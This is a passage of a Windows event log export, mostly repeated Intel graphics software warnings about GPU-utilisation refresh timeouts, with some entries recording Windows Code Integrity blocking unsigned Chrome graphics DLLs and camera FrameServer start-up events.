stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:30.836\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:31.160\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:31.384\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:31.599\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:31.806\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:32.460\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:33.236\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:33.463\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:33.684\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:33.908\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:34.122\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:34.344\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:34.557\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:34.766\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:34.985\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:34.993\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:35.000\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"chrome\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:37.994\t3033\tCode Integrity determined that a process (\\Device\\HarddiskVolume3\\Program Files\\Google\\Chrome\\Application\\chrome.exe) attempted to load \\Device\\HarddiskVolume3\\Program Files\\Google\\Chrome\\Application\\152.0.7977.77\\vk_swiftshader.dll that did not meet the Microsoft signing level requirements.\tError\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:56:37.994\t3089\tSignature information for another event. Match using the Correlation Id.\tInformation\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:56:37.994\t12\tProcess '\\Device\\HarddiskVolume3\\Program Files\\Google\\Chrome\\Application\\chrome.exe' (PID 14924) was blocked from loading the non-Microsoft-signed binary '\\Program Files\\Google\\Chrome\\Application\\152.0.7977.77\\vk_swiftshader.dll'.\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 08:56:38.021\t3033\tCode Integrity determined that a process (\\Device\\HarddiskVolume3\\Program Files\\Google\\Chrome\\Application\\chrome.exe) attempted to load \\Device\\HarddiskVolume3\\Program Files\\Google\\Chrome\\Application\\152.0.7977.77\\vk_swiftshader.dll that did not meet the Microsoft signing level requirements.\tError\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:56:38.021\t3089\tSignature information for another event. Match using the Correlation Id.\tInformation\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:56:38.021\t12\tProcess '\\Device\\HarddiskVolume3\\Program Files\\Google\\Chrome\\Application\\chrome.exe' (PID 14924) was blocked from loading the non-Microsoft-signed binary '\\Program Files\\Google\\Chrome\\Application\\152.0.7977.77\\vk_swiftshader.dll'.\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 08:56:38.031\t3033\tCode Integrity determined that a process (\\Device\\HarddiskVolume3\\Program Files\\Google\\Chrome\\Application\\chrome.exe) attempted to load \\Device\\HarddiskVolume3\\Program Files\\Google\\Chrome\\Application\\152.0.7977.77\\vulkan-1.dll that did not meet the Microsoft signing level requirements.\tError\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:56:38.031\t3089\tSignature information for another event. Match using the Correlation Id.\tInformation\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:56:38.031\t12\tProcess '\\Device\\HarddiskVolume3\\Program Files\\Google\\Chrome\\Application\\chrome.exe' (PID 14924) was blocked from loading the non-Microsoft-signed binary '\\Program Files\\Google\\Chrome\\Application\\152.0.7977.77\\vulkan-1.dll'.\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 08:56:38.037\t3033\tCode Integrity determined that a process (\\Device\\HarddiskVolume3\\Program Files\\Google\\Chrome\\Application\\chrome.exe) attempted to load \\Device\\HarddiskVolume3\\Program Files\\Google\\Chrome\\Application\\152.0.7977.77\\vulkan-1.dll that did not meet the Microsoft signing level requirements.\tError\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:56:38.037\t3089\tSignature information for another event. Match using the Correlation Id.\tInformation\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:56:38.038\t12\tProcess '\\Device\\HarddiskVolume3\\Program Files\\Google\\Chrome\\Application\\chrome.exe' (PID 14924) was blocked from loading the non-Microsoft-signed binary '\\Program Files\\Google\\Chrome\\Application\\152.0.7977.77\\vulkan-1.dll'.\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 08:56:38.064\t6\tFrameServer FsProxy Initialization Start, SymbolicLink: \\\\?\\usb#vid_5858&pid_1004&mi_00#6&55f168&0&0000#{e5323777-f976-4f5b-9b55-b94699c46e44}\\global, Devices: 1, StreamType: MASTER.\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_FrameServer\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:56:38.079\t11\t\"FrameServer WatchdogTimer Start Event, TimerScope: FSSource, TimerScopeId: 0, WatchdogOperation: Activate, DurationToTriggerInHns: 200000000, \nSymbolicLink: .\"\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_FrameServer\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:56:38.079\t12\tFrameServer WatchdogTimer Stop Event, TimerScope: FSSource, TimerScopeId: 0, WatchdogOperation: Activate, DurationToCompletionInHns: 64.\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_FrameServer\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:56:38.079\t11\t\"FrameServer WatchdogTimer Start Event, TimerScope: FSSource, TimerScopeId: 0, WatchdogOperation: Activate, DurationToTriggerInHns: 200000000, \nSymbolicLink: .\"\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_FrameServer\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:56:38.079\t12\tFrameServer WatchdogTimer Stop Event, TimerScope: FSSource, TimerScopeId: 0, WatchdogOperation: Activate, DurationToCompletionInHns: 20.\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_FrameServer\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:56:38.081\t7\tFrameServer FsProxy Initialization Stop, SymbolicLink: \\\\?\\usb#vid_5858&pid_1004&mi_00#6&55f168&0&0000#{e5323777-f976-4f5b-9b55-b94699c46e44}\\global, Devices: 1, Streams: 1, StreamType: MASTER, hr: 0x0.\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_FrameServer\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:56:38.088\t2\tFrameServer FsProxy SetOutputType Start, PinId: 0, MediaType: FrameSize=5497558139600 (1280,720),MajorType={73646976-0000-0010-8000-00AA00389B71},FrameRate=128849018881 (30,1),PixelAspectRatio=4294967297 (1,1),InterlacedMode=2,Subtype={3231564E-0000-0010-8000-00AA00389B71}.\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_FrameServer\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:56:38.088\t3\tFrameServer FsProxy SetOutputType Stop, hr=0x0.\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_FrameServer\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:56:41.999\t3033\tCode Integrity determined that a process (\\Device\\HarddiskVolume3\\Program Files\\Google\\Chrome\\Application\\chrome.exe) attempted to load \\Device\\HarddiskVolume3\\Program Files\\Google\\Chrome\\Application\\152.0.7977.77\\vk_swiftshader.dll that did not meet the Microsoft signing level requirements.\tError\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:56:41.999\t3089\tSignature information for another event. Match using the Correlation Id.\tInformation\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:56:41.999\t12\tProcess '\\Device\\HarddiskVolume3\\Program Files\\Google\\Chrome\\Application\\chrome.exe' (PID 14924) was blocked from loading the non-Microsoft-signed binary '\\Program Files\\Google\\Chrome\\Application\\152.0.7977.77\\vk_swiftshader.dll'.\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 08:56:42.028\t3033\tCode Integrity determined that a process (\\Device\\HarddiskVolume3\\Program Files\\Google\\Chrome\\Application\\chrome.exe) attempted to load \\Device\\HarddiskVolume3\\Program Files\\Google\\Chrome\\Application\\152.0.7977.77\\vk_swiftshader.dll that did not meet the Microsoft signing level requirements.\tError\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:56:42.028\t3089\tSignature information for another event. Match using the Correlation Id.\tInformation\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:56:42.028\t12\tProcess '\\Device\\HarddiskVolume3\\Program Files\\Google\\Chrome\\Application\\chrome.exe' (PID 14924) was blocked from loading the non-Microsoft-signed binary '\\Program Files\\Google\\Chrome\\Application\\152.0.7977.77\\vk_swiftshader.dll'.\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 08:56:42.035\t3033\tCode Integrity determined that a process (\\Device\\HarddiskVolume3\\Program Files\\Google\\Chrome\\Application\\chrome.exe) attempted to load \\Device\\HarddiskVolume3\\Program Files\\Google\\Chrome\\Application\\152.0.7977.77\\vulkan-1.dll that did not meet the Microsoft signing level requirements.\tError\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:56:42.035\t3089\tSignature information for another event. Match using the Correlation Id.\tInformation\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:56:42.036\t12\tProcess '\\Device\\HarddiskVolume3\\Program Files\\Google\\Chrome\\Application\\chrome.exe' (PID 14924) was blocked from loading the non-Microsoft-signed binary '\\Program Files\\Google\\Chrome\\Application\\152.0.7977.77\\vulkan-1.dll'.\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 08:56:42.041\t3033\tCode Integrity determined that a process (\\Device\\HarddiskVolume3\\Program Files\\Google\\Chrome\\Application\\chrome.exe) attempted to load \\Device\\HarddiskVolume3\\Program Files\\Google\\Chrome\\Application\\152.0.7977.77\\vulkan-1.dll that did not meet the Microsoft signing level requirements.\tError\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:56:42.041\t3089\tSignature information for another event. Match using the Correlation Id.\tInformation\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:56:42.042\t12\tProcess '\\Device\\HarddiskVolume3\\Program Files\\Google\\Chrome\\Application\\chrome.exe' (PID 14924) was blocked from loading the non-Microsoft-signed binary '\\Program Files\\Google\\Chrome\\Application\\152.0.7977.77\\vulkan-1.dll'.\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 08:56:53.360\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:53.363\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:53.576\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:54.358\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:54.580\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:54.801\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:56.022\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:56.468\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:57.228\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:57.671\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:58.895\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:59.342\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:59.565\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:59.898\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:00.123\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:00.346\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:01.455\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:01.784\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:02.012\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:02.456\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:02.680\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:02.905\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:03.128\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:03.352\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:03.688\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:03.912\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:04.136\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:04.803\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:06.360\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:07.367\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:07.704\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:07.928\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:08.152\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:08.376\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:08.710\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:08.933\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:09.368\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:09.584\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:09.806\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:10.142\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:10.813\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:12.040\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:12.376\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:12.711\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:12.933\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:13.157\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:13.379\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:14.156\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:14.378\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:14.714\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:15.050\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:15.495\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:15.940\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:16.385\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:17.274\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:17.830\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 